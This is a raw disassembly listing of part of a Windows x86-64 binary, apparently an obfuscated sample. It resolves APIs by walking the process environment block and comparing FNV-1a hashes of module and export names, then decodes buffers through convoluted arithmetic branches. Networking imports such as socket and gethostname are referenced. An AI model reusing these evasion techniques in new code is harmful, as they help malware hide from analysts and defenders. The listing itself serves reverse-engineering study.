jne 0x1401073ad
mov r10, rbx
mov qword [0x14017c778], r10
mov edi, 1
lea r9, [rbp + 0x574]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x14010768c
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140107592
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140107584
xor ebx, ebx
jmp 0x1401074f3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140107573
cmp r8d, esi
jne 0x14010766d
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010766d
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010766d
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401075e6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401075db
cmp edx, r14d
je 0x1401075fe
test r11d, r11d
jne 0x1401075c6
xor ebx, ebx
jmp 0x14010766d
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x140107685
lea rcx, [r9 + rax]
cmp r8, rcx
jae 0x140107685
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14010764c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140107635
add r8, rcx
xor ebx, ebx
jmp 0x140107663
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140107653
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140107682
cmp qword [rax + 0x30], rbx
jne 0x140107543
mov r8, rbx
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov byte [rbp + 0x430], Ordinal_79
mov byte [rbp + 0x431], 0xb5
mov byte [rbp + 0x432], 0xb4
mov byte [rbp + 0x433], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x434], xmm0
mov qword [rbp + 0x444], rax
mov dword [rbp + 0x44c], eax
mov bl, byte [rsp + 0x50]
xor r12d, r12d
mov r14b, 0x7d
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
cmp r9, 0x20
jae 0x14010807d
movzx r8d, byte [rbp + r9 + 0x430]
mov rdx, r8
cmp rdi, r9
ja 0x140108075
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140107744
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
mov esi, 1
add bl, sil
jmp 0x140107776
je 0x140108005
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140107fdb
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140107fc2
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140107f80
mov esi, 1
cmp r11, r9
ja 0x14010806d
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x14010779e
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x1401077df
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140107f67
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140107f51
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140107f38
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140107ec6
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140107ead
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x140107c84
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140107c73
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140107c56
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x140107c39
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140107c28
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140107c0b
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140107bfd
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140107bec
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140107bcf
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x140107bc1
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401077ec
lea rdi, [r11 + 0x42]
lea r11, [rdi + 0x40]
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140108052
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140108037
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401079d2
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401079b9
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x1401079a0
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140107b77
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140107b2f
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140107af6
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140107ad5
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401077ec
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x42]
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140107abc
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140107aa3
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140107a87
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140107a6e
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140107a55
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140107a39
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140107a20
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140107a07
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1401079eb
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401077ec
lea rdi, [r11 + 0xa]
lea r11, [rdi + 0x5a]
jmp 0x1401077ec
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x1401077df
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x140107776
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x140107708
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r10b, r9b
jmp 0x140107f97
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x140107fba
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140107fbd
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r10b, r9b
jmp 0x140107e6d
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140107fd6
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x140107ff6
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r10b, r9b
jmp 0x140107edd
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x140107f07
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140108020
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0x430], bl
jmp 0x14010802f
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r11, 0x42
jb 0x140107ae9
mov r10b, r9b
lea ecx, [r10 + 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x34]
jmp 0x140107f97
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x140107e4f
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x140107e03
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107b0a
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x140107e93
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jbe 0x140107d71
lea ecx, [r9 + 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3d
jmp 0x140107b43
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x140107cb8
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107f07
mov r10b, r9b
lea edx, [r10 - 0x36]
mov ecx, 0x3d
jmp 0x140107ce1
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140107d07
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107fd6
mov r10b, r9b
lea edx, [r10 + 0x14]
mov ecx, Ordinal_60
jmp 0x140107d30
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107fbd
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107fba
mov r10b, r9b
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x140107d5d
lea rax, [r11 + 0x41]
cmp rdi, rax
jae 0x140107ca6
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, sil
jmp 0x140107b8b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140107ccc
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140108020
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140107cf5
mov r10b, r9b
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107edd
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140107d1b
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107ff6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140107d44
mov r10b, r9b
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107e6d
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140107b8b
mov r10b, r9b
lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107f97
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140107d96
mov r10b, r9b
lea ecx, [r10 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x140107f97
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140107db8
lea ecx, [r9 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
jmp 0x140107fba
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140107dda
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x43
jmp 0x140107fbd
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140107b43
mov r10b, r9b
lea ecx, [r10 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
jmp 0x140107edd
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140107e1a
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x140107cb8
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140107e34
mov r10b, r9b
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x140107ce1
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140107b0a
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140107c42
mov r10b, r9b
lea edx, [r10 - 0x58]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 + 0x430]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r10b, 0xf
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x69
add r10b, r8b
add r10b, bl
mov byte [rbp + r9 + 0x430], r10b
jmp 0x140107fd6
mov r10b, r9b
lea edx, [r10 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140107edd
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x27
jmp 0x140108020
mov r10b, r9b
lea ecx, [r10 - 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x23
sub r10b, r14b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x6b
add r10b, r8b
movzx eax, r10b
mov byte [rbp + r9 + 0x430], al
add r11, rsi
add rax, r11
sub r9, rax
lea edx, [r9 - 0x34]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x430], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140108020
lea ecx, [r9 + 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x21
jmp 0x140107ff6
lea ecx, [r9 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x1b
jmp 0x140107fbd
mov r10b, r9b
lea ecx, [r10 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x17
jmp 0x140107f97
mov r10b, r9b
lea ecx, [r10 + 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x13
add r10b, 0x5f
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x67
add r10b, r8b
mov byte [rbp + r9 + 0x430], r10b
mov esi, 1
add r11, rsi
sub r9, rsi
jmp 0x14010802f
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
add rdi, r11
jmp 0x140107ff6
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010802f
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x430]
add rax, r11
add r9, rax
inc r9
jmp 0x1401076f5
sub r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7b
jmp 0x1401076f2
add r9b, 0x5b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, r14b
jmp 0x1401076e2
mov eax, dword [rbp + 0x175cd3c]
jmp 0x140108083
mov eax, dword [rbp + 0x164ff85]
jmp 0x140108083
mov eax, dword [rbp + 0x430]
mov dword [0x14017bef0], eax
mov byte [rbp + 0x450], Ordinal_79
mov byte [rbp + 0x451], 0xb5
mov byte [rbp + 0x452], 0xb4
mov byte [rbp + 0x453], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x454], xmm0
mov qword [rbp + 0x464], rax
mov dword [rbp + 0x46c], eax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
cmp r9, 0x20
jae 0x140108a5d
movzx r8d, byte [rbp + r9 + 0x450]
mov rdx, r8
cmp rdi, r9
ja 0x140108a55
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140108124
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
mov esi, 1
add bl, sil
jmp 0x140108156
je 0x1401089e5
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401089bb
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401089a2
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140108960
mov esi, 1
cmp r11, r9
ja 0x140108a4d
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x14010817e
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x1401081bf
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140108947
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140108931
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140108918
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401088a6
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14010888d
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x140108664
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140108653
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140108636
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x140108619
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140108608
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401085eb
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401085dd
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401085cc
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401085af
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1401085a1
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401081cc
lea rdi, [r11 + 0x42]
lea r11, [rdi + 0x40]
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140108a32
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140108a17
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401083b2
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140108399
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140108380
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140108557
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x14010850f
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401084d6
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401084b5
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401081cc
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x42]
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14010849c
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140108483
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140108467
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14010844e
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140108435
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140108419
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140108400
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401083e7
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1401083cb
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401081cc
lea rdi, [r11 + 0xa]
lea r11, [rdi + 0x5a]
jmp 0x1401081cc
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x1401081bf
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x140108156
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x1401080e8
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r10b, r9b
jmp 0x140108977
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010899a
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14010899d
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r10b, r9b
jmp 0x14010884d
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x1401089b6
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1401089d6
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r10b, r9b
jmp 0x1401088bd
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x1401088e7
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140108a00
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0x450], bl
jmp 0x140108a0f
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r11, 0x42
jb 0x1401084c9
mov r10b, r9b
lea ecx, [r10 + 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x34]
jmp 0x140108977
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x14010882f
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x1401087e3
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401084ea
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x140108873
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jbe 0x140108751
lea ecx, [r9 + 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3d
jmp 0x140108523
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x140108698
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401088e7
mov r10b, r9b
lea edx, [r10 - 0x36]
mov ecx, 0x3d
jmp 0x1401086c1
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401086e7
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401089b6
mov r10b, r9b
lea edx, [r10 + 0x14]
mov ecx, Ordinal_60
jmp 0x140108710
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010899d
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010899a
mov r10b, r9b
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x14010873d
lea rax, [r11 + 0x41]
cmp rdi, rax
jae 0x140108686
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, sil
jmp 0x14010856b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401086ac
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140108a00
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401086d5
mov r10b, r9b
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401088bd
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401086fb
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401089d6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140108724
mov r10b, r9b
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010884d
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010856b
mov r10b, r9b
lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140108977
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140108776
mov r10b, r9b
lea ecx, [r10 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x140108977
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140108798
lea ecx, [r9 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
jmp 0x14010899a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401087ba
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x43
jmp 0x14010899d
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140108523
mov r10b, r9b
lea ecx, [r10 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
jmp 0x1401088bd
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401087fa
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x140108698
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140108814
mov r10b, r9b
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x1401086c1
lea rax, [r11 + 7]
cmp rdi, rax
